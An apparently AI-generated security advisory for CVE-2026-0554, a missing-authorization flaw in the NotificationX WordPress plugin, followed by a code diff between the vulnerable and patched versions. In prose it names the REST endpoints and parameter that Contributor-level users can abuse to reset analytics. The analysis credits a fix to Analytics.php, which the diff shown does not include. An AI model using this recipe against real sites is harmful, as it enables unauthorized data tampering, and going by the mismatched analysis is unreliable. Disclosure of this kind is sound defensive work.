Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0554: NotificationX <= 3.1.11 – Missing Authorization to Authenticated (Contributor+) Analytics Reset (notificationx)

CVE ID CVE-2026-0554
Plugin notificationx
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.1.11
Patched Version 3.2.1
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0554:
The NotificationX WordPress plugin, versions up to and including 3.1.11, contains a missing authorization vulnerability in its REST API. This allows authenticated users with Contributor-level permissions or higher to reset analytics data for any NotificationX campaign, regardless of ownership. The vulnerability stems from insufficient capability checks on specific API endpoints.

The root cause is the missing capability check in the `check_permission` method of the `NotificationXCoreRestAnalytics` class. In the vulnerable code, the method at `/notificationx/includes/Core/Rest/Analytics.php` returns `true` without verifying the user’s specific permissions. This allows any authenticated user who passes the initial `current_user_can(‘edit_posts’)` check to access the `regenerate` and `reset` endpoints. The permission callback fails to validate if the user has the appropriate NotificationX-specific capabilities required for analytics management.

An attacker with Contributor-level access or higher can send a POST request to the REST API endpoints `/wp-json/notificationx/v1/analytics/regenerate` or `/wp-json/notificationx/v1/analytics/reset`. The request must include the `nx_id` parameter specifying the target campaign ID. No additional parameters or special payloads are required beyond a valid WordPress authentication cookie or nonce, as the vulnerability is purely an authorization bypass.

The patch addresses the vulnerability by implementing proper capability checks. In the patched version, the `check_permission` method in `/notificationx/includes/Core/Rest/Analytics.php` now returns `current_user_can(‘edit_notificationx’)`. This change restricts endpoint access to users with the specific `edit_notificationx` capability, which is typically only granted to Administrator and Editor roles. The fix ensures that Contributor-level users, who previously could access these endpoints, are now properly denied authorization.

Successful exploitation allows authenticated attackers to reset analytics data for any NotificationX campaign. This includes clearing view and click statistics, which can disrupt business analytics, marketing tracking, and performance monitoring. While the vulnerability does not enable privilege escalation or remote code execution, it facilitates unauthorized data modification that can impact operational visibility and decision-making based on campaign performance metrics.

Differential between vulnerable and patched code

Code Diff
--- a/notificationx/assets/admin/js/admin.asset.php
+++ b/notificationx/assets/admin/js/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-polyfill'), 'version' => '78849eed812f914ec657');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-polyfill'), 'version' => 'e55707f8a8c3fa5c6556');
--- a/notificationx/includes/Admin/Admin.php
+++ b/notificationx/includes/Admin/Admin.php
@@ -199,7 +199,7 @@
     public function hide_others_plugin_admin_notice()
     {
         $current_screen = get_current_screen();
-        $hide_on = ['toplevel_page_nx-admin', 'notificationx_page_nx-dashboard', 'notificationx_page_nx-edit','notificationx_page_nx-settings','notificationx_page_nx-analytics','notificationx_page_nx-builder'];
+        $hide_on = ['toplevel_page_nx-admin', 'notificationx_page_nx-dashboard', 'notificationx_page_nx-edit','notificationx_page_nx-settings','notificationx_page_nx-analytics','notificationx_page_nx-builder', 'notificationx_page_nx-feedback-entries'];
         if ( $current_screen && isset( $current_screen->base ) &&  in_array($current_screen->base, $hide_on) ) {
             remove_all_actions('user_admin_notices');
             remove_all_actions('admin_notices');
@@ -343,6 +343,7 @@
             ]
         );

+        // Black Friday 2025
         $notice_text = "<p><strong>Black Friday Mega Sale:</strong> Boost trust & conversions with real-time social proof notification alerts – now <strong>up to $160 OFF! 🎁</strong> </p><div class='wpsp-notice-action-button' style='display: inline-flex;column-gap:5px;'><a class='button button-primary' href='https://notificationx.com/bfcm2025-admin-notice' target='_blank'>Upgrade To PRO</a> <button class='wpsp-notice-action-dismiss dismiss-btn' data-dismiss='true' target='_blank'>I’ll Grab It Later</button></div>";
         $_black_friday_2025 = [
             'thumbnail' => self::ASSET_URL . 'images/full-logo.svg',
@@ -361,6 +362,27 @@
                 'display_if'  => !is_array( $notices->is_installed( 'notificationx-pro/notificationx-pro.php' ) ),
             ]
         );
+
+        // Holiday Deal
+        $notice_text = "<p><strong>Season's Best Deal:</strong> Boost trust & conversions with real-time social proof notification alerts – now <strong>up to 25% OFF! ⚡</strong> </p><div class='wpsp-notice-action-button' style='display: inline-flex;column-gap:5px;'><a class='button button-primary' href='https://notificationx.com/holiday2025-admin-notice' target='_blank'>Upgrade To PRO</a> <button class='wpsp-notice-action-dismiss dismiss-btn' data-dismiss='true' target='_blank'>I’ll Grab It Later</button></div>";
+        $_nx_holiday_2025 = [
+            'thumbnail' => self::ASSET_URL . 'images/full-logo.svg',
+            'html'      => $notice_text,
+        ];
+        $notices->add(
+            'nx_holiday_2025',
+            $_nx_holiday_2025,
+            [
+                'start'       => $notices->time(),
+                'recurrence'  => false,
+                'dismissible' => true,
+                'refresh'     => NOTIFICATIONX_VERSION,
+                'screens'     => [ 'dashboard' ],
+                "expire"      => strtotime( '11:59:59pm 7th January, 2026' ),
+                "start"       => strtotime( '11:59:59pm 15th December, 2025' ),
+                'display_if'  => !is_array( $notices->is_installed( 'notificationx-pro/notificationx-pro.php' ) ),
+            ]
+        );

         // Holiday Deal
         $notice_text = "<p>🎁 <strong>SAVE 25% now</strong> & unlock advanced social-proof marketing features to skyrocket conversions in 2025.</p>
--- a/notificationx/includes/Admin/DashboardWidget.php
+++ b/notificationx/includes/Admin/DashboardWidget.php
@@ -60,6 +60,9 @@
      * @return void
      */
     public function widget_action(){
+         if( ! current_user_can( 'read_notificationx_analytics' ) ) {
+            return;
+        }
         wp_add_dashboard_widget( self::WIDGET_ID, $this->widget_name, array( $this, 'widget_output' ) );
     }
     /**
--- a/notificationx/includes/Admin/InfoTooltipManager.php
+++ b/notificationx/includes/Admin/InfoTooltipManager.php
@@ -93,6 +93,20 @@
             'width'   => '450',
             'height'  => '235',
         ],
+        'popup_notification_message_field' => [
+            'type'    => 'content',
+            'title'   => 'Enable this field to let users send messages or feedback.','notificationx',
+            'content' => '',
+            'width'   => '450',
+            'height'  => '235',
+        ],
+        'popup_notification_email_field' => [
+            'type'    => 'content',
+            'title'   => 'Enable this field to collect user's email addresses.','notificationx',
+            'content' => '',
+            'width'   => '450',
+            'height'  => '235',
+        ],
     ];


@@ -125,11 +139,13 @@
                 esc_attr($tooltip['title'])
             );
         } else {
-            $html .= sprintf('<p>%s</p>', wp_kses_post($tooltip['content']));
+            if( !empty($tooltip['content']) ) {
+                $html .= sprintf('<p style="margin-bottom:5px;">%s</p>', wp_kses_post($tooltip['content']));
+            }
         }

         if (!empty($tooltip['title'])) {
-            $html .= '<h3 style="margin:5px 0;">' . wp_kses_post($tooltip['title']);
+            $html .= '<h3 style="margin-bottom:5px;">' . wp_kses_post($tooltip['title']);
             $html .= '</h3>';
         }

--- a/notificationx/includes/Admin/Settings.php
+++ b/notificationx/includes/Admin/Settings.php
@@ -441,6 +441,21 @@
                     ],
                     ]
                 ),
+                'entries'  => apply_filters('nx_settings_tab_entries', [
+                    'label'    => __( 'Entries', 'notificationx' ),
+                    'id'       => 'entries',
+                    'classes'  => 'tab-advanced-settings',
+                    'priority' => 35,
+                    'fields'   => [
+                        'feedback_entries'       => array(
+                                'name'     => 'feedback_entries',
+                                'priority' => 10,
+                                'type'     => 'feedback-entries',
+                                'label'    => __( 'Analytics', 'notificationx' ),
+                            ),
+                        ],
+                    ]
+                ),
                 'cache_settings_tab'         => apply_filters('nx_settings_tab_cache', [
                     'id'       => 'tab-cache-settings',
                     'label'    => __( 'Cache Settings', 'notificationx' ),
--- a/notificationx/includes/Core/Modules.php
+++ b/notificationx/includes/Core/Modules.php
@@ -65,10 +65,10 @@
      */
     public function is_enabled($module) {
         $enabled_types = (array) Settings::get_instance()->get('settings.modules');
-
-        if( isset( $enabled_types[ $module ] ) && $enabled_types[$module] ) {
-            return $enabled_types[$module];
-        } elseif( ! isset( $enabled_types[ $module ] ) ) {
+        $module_key = $module ?? ''; // Use empty string if null
+        if( isset( $enabled_types[  $module_key ] ) && $enabled_types[ $module_key] ) {
+            return $enabled_types[ $module_key ];
+        } elseif( ! isset( $enabled_types[  $module_key ] ) ) {
             return true;
         }

--- a/notificationx/includes/Core/PostType.php
+++ b/notificationx/includes/Core/PostType.php
@@ -85,7 +85,7 @@
      * @return void
      */
     function admin_enqueue_scripts( $hook ) {
-        if ( $hook !== 'toplevel_page_nx-admin' && $hook !== 'notificationx_page_nx-edit' && $hook !== 'notificationx_page_nx-settings' && $hook !== 'notificationx_page_nx-analytics' && $hook !== 'notificationx_page_nx-dashboard' && $hook !== 'notificationx_page_nx-builder' ) {
+        if ( $hook !== 'toplevel_page_nx-admin' && $hook !== 'notificationx_page_nx-edit' && $hook !== 'notificationx_page_nx-settings' && $hook !== 'notificationx_page_nx-analytics' && $hook !== 'notificationx_page_nx-dashboard' && $hook !== 'notificationx_page_nx-builder' && $hook !== 'notificationx_page_nx-feedback-entries' ) {
             return;
         }
         // @todo not sure why did it. maybe remove.
@@ -436,11 +436,35 @@

     public function get_post_with_analytics( $wheres = [], $extra_query = '' ) {
         $posts = $this->get_posts( $wheres, 'a.*, SUM(b.clicks) AS clicks, SUM(b.views) AS views', Database::$table_stats, 'a.nx_id', 'LEFT JOIN', $extra_query );
+
+        // Get entries count for popup notifications
+        global $wpdb;
+        $entries_table = $wpdb->prefix . 'nx_entries';
+        $entries_counts = $wpdb->get_results(
+            "SELECT nx_id, COUNT(*) as entries_count
+             FROM {$entries_table}
+             WHERE source = 'popup_notification'
+             GROUP BY nx_id",
+            ARRAY_A
+        );
+
+        // Create a lookup array for entries counts
+        $entries_lookup = [];
+        foreach ($entries_counts as $entry) {
+            $entries_lookup[$entry['nx_id']] = $entry['entries_count'];
+        }
+
         foreach ( $posts as $key => $post ) {
             $source                          = $post['source'];
             $posts[ $key ]['can_regenerate'] = false;
             $extension                       = ExtensionFactory::get_instance()->get( $source );
             $posts[ $key ]['source_label']   = $extension->title;
+
+            // Add entries count for popup notifications
+            if ($source === 'popup_notification') {
+                $posts[ $key ]['entries'] = isset($entries_lookup[$post['nx_id']]) ? $entries_lookup[$post['nx_id']] : 0;
+            }
+
             if ( ! empty( $extension ) && method_exists( $extension, 'get_notification_ready' ) && $extension->is_active( false ) ) {
                 $posts[ $key ]['can_regenerate'] = true;
             }
--- a/notificationx/includes/Core/REST.php
+++ b/notificationx/includes/Core/REST.php
@@ -52,6 +52,7 @@
         RestEntries::get_instance();
         RestAnalytics::get_instance();
         RestBulkAction::get_instance();
+        RestPopup::get_instance();

         add_action('rest_api_init', [$this, 'register_routes']);
         $enable_rest_api = Settings::get_instance()->get('settings.enable_rest_api', false);
--- a/notificationx/includes/Core/Rest/Entries.php
+++ b/notificationx/includes/Core/Rest/Entries.php
@@ -125,6 +125,7 @@
      * @return WP_Error|bool
      */
     public function check_permission( $request ) {
-        return current_user_can( 'edit_posts' );
+        // return current_user_can( 'edit_posts' );
+        return current_user_can( 'edit_notificationx' );
     }
 }
 No newline at end of file
--- a/notificationx/includes/Core/Rest/Popup.php
+++ b/notificationx/includes/Core/Rest/Popup.php
@@ -0,0 +1,475 @@
+<?php
+
+namespace NotificationXCoreRest;
+
+use NotificationXGetInstance;
+use NotificationXCorePopupNotification;
+use NotificationXExtensionsPopupPopupNotification as PopupPopupNotification;
+use NotificationXNotificationX;
+use WP_REST_Server;
+
+/**
+ * @method static Popup get_instance($args = null)
+ */
+class Popup {
+    /**
+     * Instance of Popup
+     *
+     * @var Popup
+     */
+    use GetInstance;
+    public $namespace;
+    public $rest_base;
+    public $id              = 'popup_notification';
+
+    /**
+     * Constructor.
+     *
+     * @since 4.7.0
+     *
+     * @param string $post_type Post type.
+     */
+    public function __construct() {
+        $this->namespace = 'notificationx/v1';
+        $this->rest_base = 'popup-submit';
+        add_action('rest_api_init', [$this, 'register_routes']);
+    }
+
+
+    /**
+     * Registers the routes for the objects of the controller.
+     *
+     * @since 3.1.12
+     *
+     * @see register_rest_route()
+    */
+    public function register_routes() {
+         register_rest_route('notificationx/v1', '/popup-submit', [
+            'methods' => 'POST',
+            'callback' => [ $this , 'handle_popup_submission' ],
+            'permission_callback' => '__return_true',
+            'args' => [
+                'nx_id' => [
+                    'required' => true,
+                    'type'     => 'string',
+                ],
+                'email' => [
+                    'type'              => 'string',
+                    'sanitize_callback' => 'sanitize_email',
+                ],
+                'message' => [
+                    'type'              => 'string',
+                    'sanitize_callback' => 'sanitize_textarea_field',
+                ],
+                'name' => [
+                    'type'              => 'string',
+                    'sanitize_callback' => 'sanitize_textarea_field',
+                ],
+                'timestamp' => [
+                    'type' => 'integer',
+                ],
+            ],
+        ]);
+
+        // Feedback entries endpoint
+        register_rest_route('notificationx/v1', '/feedback-entries', [
+            'methods' => 'GET',
+            'callback' => [$this, 'get_feedback_entries'],
+            'permission_callback' => function() {
+                return current_user_can('read_notificationx');
+            },
+            'args' => [
+                'page' => [
+                    'default' => 1,
+                    'type' => 'integer',
+                    'minimum' => 1,
+                ],
+                'per_page' => [
+                    'default' => 20,
+                    'type' => 'integer',
+                    'minimum' => 1,
+                    'maximum' => 200,
+                ],
+                's' => [
+                    'default' => '',
+                    'type' => 'string',
+                    'sanitize_callback' => 'sanitize_text_field',
+                ],
+                'notification_id' => [
+                    'default' => '',
+                    'type' => 'string',
+                    'sanitize_callback' => 'sanitize_text_field',
+                ],
+            ],
+        ]);
+
+        // Delete feedback entry endpoint
+        register_rest_route('notificationx/v1', '/feedback-entries/(?P<id>d+)', [
+            'methods' => 'DELETE',
+            'callback' => [$this, 'delete_feedback_entry'],
+            'permission_callback' => function() {
+                return current_user_can('edit_notificationx');
+            },
+            'args' => [
+                'id' => [
+                    'required' => true,
+                    'type' => 'integer',
+                ],
+            ],
+        ]);
+
+        // Bulk delete feedback entries endpoint
+        register_rest_route('notificationx/v1', '/feedback-entries/bulk-delete', [
+            'methods' => 'POST',
+            'callback' => [$this, 'bulk_delete_feedback_entries'],
+            'permission_callback' => function() {
+                return current_user_can('edit_notificationx');
+            },
+            'args' => [
+                'ids' => [
+                    'required' => true,
+                    'type' => 'array',
+                    'items' => [
+                        'type' => 'integer',
+                    ],
+                ],
+            ],
+        ]);
+
+        // Export feedback entries endpoint
+        register_rest_route('notificationx/v1', '/feedback-entries/export', [
+            'methods' => 'POST',
+            'callback' => [$this, 'export_feedback_entries'],
+            'permission_callback' => function() {
+                return current_user_can('read_notificationx');
+            },
+            'args' => [
+                's' => [
+                    'required' => false,
+                    'type' => 'string',
+                ],
+                'notification_id' => [
+                    'required' => false,
+                    'type' => 'string',
+                ],
+            ],
+        ]);
+    }
+
+    /**
+     * Handle popup form submission
+     *
+     * @param WP_REST_Request $request
+     * @return WP_REST_Response
+     */
+    public function handle_popup_submission($request) {
+        $popup = PopupPopupNotification::get_instance();
+        return $popup->handle_popup_submission($request);
+    }
+
+
+    /**
+     * Get feedback entries
+     *
+     * @param WP_REST_Request $request
+     * @return WP_REST_Response
+     */
+    public function get_feedback_entries($request) {
+        global $wpdb;
+
+        $table_name = $wpdb->prefix . 'nx_entries';
+
+        // Get pagination parameters
+        $page = $request->get_param('page') ?: 1;
+        $per_page = $request->get_param('per_page') ?: 20;
+        $search = $request->get_param('s') ?: '';
+        $notification_id = $request->get_param('notification_id') ?: '';
+        $offset = ($page - 1) * $per_page;
+
+        // Build WHERE clause
+        $where_conditions = ["e.source = %s"];
+        $where_values = [$this->id];
+
+        // Add notification filter
+        if (!empty($notification_id)) {
+            $where_conditions[] = "e.nx_id = %d";
+            $where_values[] = intval($notification_id);
+        }
+
+        // Add search functionality
+        if (!empty($search)) {
+            $where_conditions[] = "(e.data LIKE %s OR e.created_at LIKE %s)";
+            $search_term = '%' . $wpdb->esc_like($search) . '%';
+            $where_values[] = $search_term;
+            $where_values[] = $search_term;
+        }
+
+        $where_clause = implode(' AND ', $where_conditions);
+
+        // Get total count for pagination
+        $total_query = $wpdb->prepare(
+            "SELECT COUNT(*) FROM {$table_name} e WHERE {$where_clause}",
+            ...$where_values
+        );
+        $total_items = (int) $wpdb->get_var($total_query);
+
+        // Get paginated entries with notification information
+        $posts_table = $wpdb->prefix . 'nx_posts';
+        $entries_query = $wpdb->prepare(
+            "SELECT e.*, p.title as notification_name, p.nx_id as notification_id
+             FROM {$table_name} e
+             LEFT JOIN {$posts_table} p ON e.nx_id = p.nx_id
+             WHERE {$where_clause}
+             ORDER BY e.created_at DESC
+             LIMIT %d OFFSET %d",
+            ...array_merge($where_values, [$per_page, $offset])
+        );
+        $entries = $wpdb->get_results($entries_query, ARRAY_A);
+
+        $formatted_entries = [];
+        foreach ($entries as $entry) {
+            $data = maybe_unserialize($entry['data']);
+            $formatted_entries[] = [
+                'id'                => $entry['entry_id'],
+                'date'              => $entry['created_at'],
+                'name'              => $data['name'] ?? '',
+                'email'             => $data['email'] ?? '',
+                'message'           => $data['message'] ?? '',
+                'title'             => $data['title'] ?? '',
+                'theme'             => $data['theme'] ?? '',
+                'ip'                => $data['ip'] ?? '',
+                'notification_name' => $entry['notification_name'] ?? '',
+                'notification_id'   => $entry['notification_id'] ?? 0,
+                'nx_id'             => $entry['nx_id'] ?? 0,
+            ];
+        }
+
+        return new WP_REST_Response([
+            'entries' => $formatted_entries,
+            'total' => $total_items,
+            'page' => $page,
+            'per_page' => $per_page,
+            'total_pages' => ceil($total_items / $per_page),
+        ], 200);
+    }
+
+    /**
+     * Delete feedback entry
+     *
+     * @param WP_REST_Request $request
+     * @return WP_REST_Response
+     */
+    public function delete_feedback_entry($request) {
+        global $wpdb;
+
+        $entry_id = $request->get_param('id');
+        $table_name = $wpdb->prefix . 'nx_entries';
+
+        $result = $wpdb->delete(
+            $table_name,
+            [
+                'entry_id' => $entry_id,
+                'source' => $this->id
+            ],
+            ['%d', '%s']
+        );
+
+        if ($result === false) {
+            return new WP_REST_Response([
+                'success' => false,
+                'message' => __('Failed to delete entry', 'notificationx'),
+            ], 500);
+        }
+
+        return new WP_REST_Response([
+            'success' => true,
+            'message' => __('Entry deleted successfully', 'notificationx'),
+        ], 200);
+    }
+
+    /**
+     * Bulk delete feedback entries
+     *
+     * @param WP_REST_Request $request
+     * @return WP_REST_Response
+     */
+    public function bulk_delete_feedback_entries($request) {
+        global $wpdb;
+
+        $entry_ids = $request->get_param('ids');
+        $table_name = $wpdb->prefix . 'nx_entries';
+
+        if (empty($entry_ids) || !is_array($entry_ids)) {
+            return new WP_REST_Response([
+                'success' => false,
+                'message' => __('No entries selected for deletion', 'notificationx'),
+            ], 400);
+        }
+
+        // Sanitize entry IDs
+        $entry_ids = array_map('absint', $entry_ids);
+        $entry_ids = array_filter($entry_ids); // Remove any zero values
+
+        if (empty($entry_ids)) {
+            return new WP_REST_Response([
+                'success' => false,
+                'message' => __('Invalid entry IDs provided', 'notificationx'),
+            ], 400);
+        }
+
+        // Create placeholders for the IN clause
+        $placeholders = implode(',', array_fill(0, count($entry_ids), '%d'));
+
+        // Prepare the query with source filter
+        $query = $wpdb->prepare(
+            "DELETE FROM {$table_name} WHERE entry_id IN ({$placeholders}) AND source = %s",
+            array_merge($entry_ids, [$this->id])
+        );
+
+        $result = $wpdb->query($query);
+
+        if ($result === false) {
+            return new WP_REST_Response([
+                'success' => false,
+                'message' => __('Failed to delete entries', 'notificationx'),
+            ], 500);
+        }
+
+        return new WP_REST_Response([
+            'success' => true,
+            'message' => sprintf(
+                /* translators: %d: Number of entries deleted */
+                _n('%d entry deleted successfully', '%d entries deleted successfully', $result, 'notificationx'),
+                $result
+            ),
+            'deleted_count' => $result,
+        ], 200);
+    }
+
+    /**
+     * Export feedback entries
+     *
+     * @param WP_REST_Request $request
+     * @return WP_REST_Response
+     */
+    public function export_feedback_entries($request) {
+        global $wpdb;
+
+        $table_name = $wpdb->prefix . 'nx_entries';
+        $search = $request->get_param('s') ?: '';
+        $notification_id = $request->get_param('notification_id') ?: '';
+
+        // Build WHERE clause
+        $where_conditions = ["e.source = %s"];
+        $where_values = [$this->id];
+
+        // Add notification filter if provided
+        if (!empty($notification_id)) {
+            $where_conditions[] = "e.nx_id = %d";
+            $where_values[] = intval($notification_id);
+        }
+
+        // Add search functionality if provided
+        if (!empty($search)) {
+            $where_conditions[] = "(e.data LIKE %s OR e.created_at LIKE %s)";
+            $search_term = '%' . $wpdb->esc_like($search) . '%';
+            $where_values[] = $search_term;
+            $where_values[] = $search_term;
+        }
+
+        $where_clause = implode(' AND ', $where_conditions);
+
+        // Get all entries for export (no pagination)
+        $posts_table = $wpdb->prefix . 'nx_posts';
+        $query = $wpdb->prepare(
+            "SELECT e.entry_id, e.nx_id, e.data, e.created_at, p.title as notification_name
+             FROM {$table_name} e
+             LEFT JOIN {$posts_table} p ON e.nx_id = p.nx_id
+             WHERE {$where_clause}
+             ORDER BY e.created_at DESC",
+            ...$where_values
+        );
+
+        $entries = $wpdb->get_results($query, ARRAY_A);
+
+        if (empty($entries)) {
+            return new WP_REST_Response([
+                'success' => false,
+                'message' => __('No entries found to export', 'notificationx'),
+            ], 404);
+        }
+
+        // Generate CSV content
+        $csv_data = $this->generate_csv_data($entries);
+
+        // Generate filename
+        $filename = 'notificationx-feedback-entries-' . date('Y-m-d-H-i-s') . '.csv';
+
+        return new WP_REST_Response([
+            'success' => true,
+            'csv_content' => $csv_data,
+            'filename' => $filename,
+            'total_entries' => count($entries),
+            'message' => sprintf(__('Successfully prepared %d entries for export', 'notificationx'), count($entries))
+        ], 200);
+    }
+
+    /**
+     * Generate CSV data from entries
+     *
+     * @param array $entries
+     * @return string
+     */
+    private function generate_csv_data($entries) {
+        $csv_data = [];
+        $is_pro = NotificationX::is_pro();
+
+        // CSV Headers
+       $csv_headers = [
+            __('No', 'notificationx'),
+            __('Date', 'notificationx'),
+            __('NotificationX Title', 'notificationx'),
+        ];
+
+        if ($is_pro) {
+            $csv_headers[] = __('Name', 'notificationx');
+            $csv_headers[] = __('Email Address', 'notificationx');
+        }
+
+        $csv_headers[] = __('Message', 'notificationx');
+
+        $csv_data[] = $csv_headers;
+
+        // Add data rows
+        $counter = 1;
+        foreach ($entries as $entry) {
+            $data = maybe_unserialize($entry['data']);
+            $date = new DateTime($entry['created_at']);
+
+            $row = [
+                $counter++,
+                $date->format('F j, Y'),
+                $entry['notification_name'] ?: sprintf(__('Notification #%d', 'notificationx'), $entry['nx_id']),
+            ];
+
+            if ($is_pro) {
+                $row[] = $data['name'] ?? '';
+                $row[] = $data['email'] ?? '';
+            }
+
+            $row[] = $data['message'] ?? '';
+
+            $csv_data[] = $row;
+        }
+
+        // Convert array to CSV string
+        $csv_content = '';
+        foreach ($csv_data as $row) {
+            $csv_content .= '"' . implode('","', array_map(function($field) {
+                return str_replace('"', '""', $field); // Escape quotes
+            }, $row)) . '"' . "n";
+        }
+
+        return $csv_content;
+    }
+}
 No newline at end of file
--- a/notificationx/includes/Core/Rest/Posts.php
+++ b/notificationx/includes/Core/Rest/Posts.php
@@ -174,7 +174,31 @@
         $query->offset($start_from)
                 ->limit($per_page);
         $posts = $query->get();
-        $posts       = PostType::get_instance()->__get_posts( $posts, '*' );
+        $posts = PostType::get_instance()->__get_posts( $posts, '*' );
+
+        // Add entries count for popup notifications
+        global $wpdb;
+        $entries_table = $wpdb->prefix . 'nx_entries';
+        $entries_counts = $wpdb->get_results(
+            "SELECT nx_id, COUNT(*) as entries_count
+             FROM {$entries_table}
+             WHERE source = 'popup_notification'
+             GROUP BY nx_id",
+            ARRAY_A
+        );
+
+        // Create a lookup array for entries counts
+        $entries_lookup = [];
+        foreach ($entries_counts as $entry) {
+            $entries_lookup[$entry['nx_id']] = $entry['entries_count'];
+        }
+
+        // Add entries count to posts
+        foreach ($posts as $key => $post) {
+            if ($post['source'] === 'popup_notification') {
+                $posts[$key]['entries'] = isset($entries_lookup[$post['nx_id']]) ? $entries_lookup[$post['nx_id']] : 0;
+            }
+        }

         $total_posts = Database::get_instance()->get_post(Database::$table_posts, [], 'count(*) AS total');
         $enabled     = Database::get_instance()->get_post(Database::$table_posts, ['enabled' => true], 'count(*) AS total');
--- a/notificationx/includes/Extensions/ExtensionFactory.php
+++ b/notificationx/includes/Extensions/ExtensionFactory.php
@@ -59,7 +59,7 @@
 			'woocommerce'                     => 'NotificationXExtensionsWooCommerceWooCommerce',
 			'woocommerce_sales'               => 'NotificationXExtensionsWooCommerceWooCommerceSales',
 			'woocommerce_sales_reviews'       => 'NotificationXExtensionsWooCommerceWooCommerceSalesReviews',
-			'woocommerce_sales_inline'       => 'NotificationXExtensionsWooCommerceWooCommerceSalesInline',
+			'woocommerce_sales_inline'        => 'NotificationXExtensionsWooCommerceWooCommerceSalesInline',
 			'woo_reviews'                     => 'NotificationXExtensionsWooCommerceWooReviews',
 			'wp_comments'                     => 'NotificationXExtensionsWordPressWPComments',
 			'wp_reviews'                      => 'NotificationXExtensionsWordPressWPOrgReview',
@@ -74,9 +74,10 @@
 			'vimeo'                           => 'NotificationXExtensionsVimeoVimeo',
 			'wistia'                          => 'NotificationXExtensionsWistiaWistia',
 			'surecart'                        => 'NotificationXExtensionsSureCartSureCart',
+			'ActiveCampaign'                  => 'NotificationXExtensionsActiveCampaignActiveCampaign',
+			'popup_notification'              => 'NotificationXExtensionsPopupPopupNotification',
 			'fluentcart'                      => 'NotificationXExtensionsFluentCartFluentCart',
 			'fluentcart_inline'               => 'NotificationXExtensionsFluentCartFluentCartInline',
-			'ActiveCampaign'				  => 'NotificationXExtensionsActiveCampaignActiveCampaign',
 			'gdpr_notification'				  => 'NotificationXExtensionsGDPRGDPR_Notification',
 			'ccpa_notification'				  => 'NotificationXExtensionsCCPACCPA_Notification',
 		];
--- a/notificationx/includes/Extensions/OfferAnnouncement/Announcements.php
+++ b/notificationx/includes/Extensions/OfferAnnouncement/Announcements.php
@@ -44,8 +44,8 @@

     public function init_extension()
     {
-        $this->title = __('Discount Announcement', 'notificationx');
-        $this->module_title = __('Discount Announcement', 'notificationx');
+        $this->title = __('Discount Alert', 'notificationx');
+        $this->module_title = __('Discount Alert', 'notificationx');
         $this->themes = [
             'theme-1'   => [
                 'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/announcements/theme-1.png',
--- a/notificationx/includes/Extensions/PopupNotification/PopupNotification.php
+++ b/notificationx/includes/Extensions/PopupNotification/PopupNotification.php
@@ -0,0 +1,1001 @@
+<?php
+
+/**
+ * Popup Notification
+ *
+ * @package NotificationXExtensions
+ */
+
+namespace NotificationXExtensionsPopup;
+
+use NotificationXAdminInfoTooltipManager;
+use NotificationXCorePostType;
+use NotificationXGetInstance;
+use NotificationXCoreRules;
+use NotificationXExtensionsGlobalFields;
+use NotificationXExtensionsExtension;
+
+/**
+ * Popup Extension
+ * @method static Popup get_instance($args = null)
+ */
+class PopupNotification extends Extension {
+    /**
+     * Instance of Popup
+     *
+     * @var Popup
+     */
+    use GetInstance;
+
+    public $priority        = 15;
+    public $id              = 'popup_notification';
+    public $doc_link        = 'https://notificationx.com/docs/how-to-show-announcement-using-notificationx/';
+    public $types           = 'popup';
+    public $module          = 'modules_popup';
+
+    /**
+     * Initially Invoked when initialized.
+     */
+    public function __construct(){
+        parent::__construct();
+    }
+
+    public function init() {
+        parent::init();
+    }
+
+    public function init_extension()
+    {
+        $this->title = __('Announcement', 'notificationx');
+        $this->module_title = __('Announcement', 'notificationx');
+        $this->themes = [
+            'theme-one' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-one.png',
+                'defaults' => [
+                    'popup_title'             => __('Want to build credibility & boost sales?', 'notificationx'),
+                    'popup_content'           => __('We help you optimize conversions & drive sales', 'notificationx'),
+                    'popup_button_text'       => __('Get Started with Free Plan', 'notificationx'),
+                    'position'                => 'center',
+                ],
+                'column'  => "5",
+            ],
+            'theme-two' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-two.png',
+                'defaults' => [
+                    'popup_title'             => __('Boost your sales using SureCart', 'notificationx'),
+                    'popup_content'           => __('<iframe width="560" height="315" src="https://www.youtube.com/embed/dw176Jmk74M?si=3suUqkCkQuYQrh2G" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>', 'notificationx'),
+                    'popup_button_text'       => __('See How', 'notificationx'),
+                    'position'                => 'center',
+                ],
+                'column'  => "5",
+            ],
+
+            'theme-four' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-four.webp',
+                'defaults' => [
+                    'popup_title'             => __('Need Help?', 'notificationx'),
+                    'popup_content'           => __('Get the latest news and updates delivered to your inbox.', 'notificationx'),
+                    'popup_button_text'       => __('Submit', 'notificationx'),
+                    'position'                => 'center',
+                ],
+                'column'  => "5",
+            ],
+            'theme-five' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-five.webp',
+                'defaults' => [
+                    'popup_title'             => __('Need Help?', 'notificationx'),
+                    'popup_content'           => __('Subscribe to receive exclusive offers and updates directly in your inbox.', 'notificationx'),
+                    'popup_email_placeholder' => __('Enter your email address', 'notificationx'),
+                    'popup_button_text'       => __('Submit', 'notificationx'),
+                    'position'                => 'center',
+                ],
+                'is_pro' => true,
+                'column'  => "5",
+            ],
+            'theme-seven' => [
+                'source' => NOTIFICATIONX_ADMIN_URL . 'images/extensions/themes/popup/popup-theme-seven.webp',
+                'defaults' => [
+                    'popup_title'               => __('Want latest updates?', 'notificationx'),
